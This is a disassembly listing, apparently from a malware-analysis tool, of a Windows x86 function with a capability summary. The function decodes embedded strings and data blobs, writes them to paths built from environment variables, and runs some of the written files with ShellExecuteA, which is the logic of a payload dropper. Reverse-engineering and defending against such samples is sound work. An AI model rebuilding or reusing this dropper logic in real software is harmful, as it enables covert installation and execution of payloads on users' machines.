Function at 0x40108c
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
nop
mov eax, 0x3c
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x3c]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x402021
mov dword [ebp - 0x3c], eax
mov eax, 0x402026
mov dword [ebp - 0x38], eax
mov eax, 0x402033
mov dword [ebp - 0x34], eax
mov eax, 0x5f1234
mov dword [ebp - 0x30], eax
mov eax, 0x5f1239
mov dword [ebp - 0x2c], eax
mov eax, 0x5f1244
mov dword [ebp - 0x28], eax
mov eax, 0x5fca45
mov dword [ebp - 0x24], eax
mov eax, 0x5fca4a
mov dword [ebp - 0x20], eax
mov eax, 0x5fca72
mov dword [ebp - 0x1c], eax
mov eax, 0x605623
mov dword [ebp - 0x18], eax
mov eax, 0x605628
mov dword [ebp - 0x14], eax
mov eax, 0x60563a
mov dword [ebp - 0x10], eax
mov eax, 0x618a3b
mov dword [ebp - 0xc], eax
mov eax, str.f__g2_ohs5_e___R
mov dword [ebp - 8], eax
mov eax, 0x618a54
mov dword [ebp - 4], eax
mov eax, 0x50
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x8c]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 4
mov dword [ebp - 0x8c], eax
mov eax, 0xc
mov dword [ebp - 0x88], eax
mov eax, 0x1ef200
mov dword [ebp - 0x84], eax
mov eax, 4
mov dword [ebp - 0x7c], eax
mov eax, 0xa
mov dword [ebp - 0x78], eax
mov eax, 0xb800
mov dword [ebp - 0x74], eax
mov eax, 4
mov dword [ebp - 0x6c], eax
mov eax, 0x27
mov dword [ebp - 0x68], eax
mov eax, 0x8bb0
mov dword [ebp - 0x64], eax
mov eax, 4
mov dword [ebp - 0x5c], eax
mov eax, 0x11
mov dword [ebp - 0x58], eax
mov eax, 0x13400
mov dword [ebp - 0x54], eax
mov eax, 1
mov dword [ebp - 0x50], eax
mov eax, 4
mov dword [ebp - 0x4c], eax
mov eax, 0x13
mov dword [ebp - 0x48], eax
mov eax, 0xbdc00
mov dword [ebp - 0x44], eax
mov eax, 1
mov dword [ebp - 0x40], eax
mov eax, 0
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp - 0x4a0]
cmp eax, 5
jge 0x4013fc
jmp 0x401200
mov eax, dword [ebp - 0x4a0]
inc eax
mov dword [ebp - 0x4a0], eax
jmp 0x4011dd
mov eax, dword [ebp - 0x4a0]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x3c]
add ecx, eax
mov eax, 0x6d6655
push eax
mov eax, dword [ecx]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
jne 0x40127a
mov eax, dword [ebp - 0x4a0]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x3c]
add ecx, eax
add ecx, 4
mov eax, dword [ebp - 0x4a0]
shl eax, 4
lea edx, [ebp - 0x8c]
add edx, eax
add edx, 4
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
lea eax, [ebp - 0x49c]
push eax
call sub.msvcrt.dll_strcpy
add esp, 8
jmp 0x401310
mov eax, dword [ebp - 0x4a0]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x3c]
add ecx, eax
mov eax, dword [ebp - 0x4a0]
shl eax, 4
lea edx, [ebp - 0x8c]
add edx, eax
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov ecx, dword [ebp - 0x4a0]
mov edx, 0xc
imul ecx, edx
lea edx, [ebp - 0x3c]
add edx, ecx
add edx, 4
mov ecx, dword [ebp - 0x4a0]
shl ecx, 4
mov dword [ebp - 0x4a4], eax
lea eax, [ebp - 0x8c]
add eax, ecx
add eax, 4
mov ecx, dword [eax]
push ecx
mov eax, dword [edx]
push eax
call section..text
add esp, 8
push eax
mov eax, dword [ebp - 0x4a4]
push eax
mov eax, str._s_s
push eax
lea eax, [ebp - 0x49c]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0x10
mov eax, 0x6d666d
push eax
lea eax, [ebp - 0x49c]
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a0]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x3c]
add ecx, eax
add ecx, 8
mov eax, dword [ebp - 0x4a0]
shl eax, 4
lea edx, [ebp - 0x8c]
add edx, eax
add edx, 8
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
mov ecx, dword [ebp - 0x4a0]
shl ecx, 4
lea edx, [ebp - 0x8c]
add edx, ecx
add edx, 8
mov ecx, dword [ebp - 0x4a8]
push ecx
mov ecx, 1
push ecx
mov ecx, dword [edx]
push ecx
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov eax, dword [ebp - 0x4a8]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, dword [ebp - 0x4a0]
shl eax, 4
lea ecx, [ebp - 0x8c]
add ecx, eax
add ecx, 0xc
mov eax, dword [ecx]
cmp eax, 0
je 0x4013f7
mov eax, 4
push eax
mov eax, 0x6d6670
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0
push ecx
mov ecx, 0
push ecx
lea ecx, [ebp - 0x49c]
push ecx
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x4011f1
mov eax, 0
leave
ret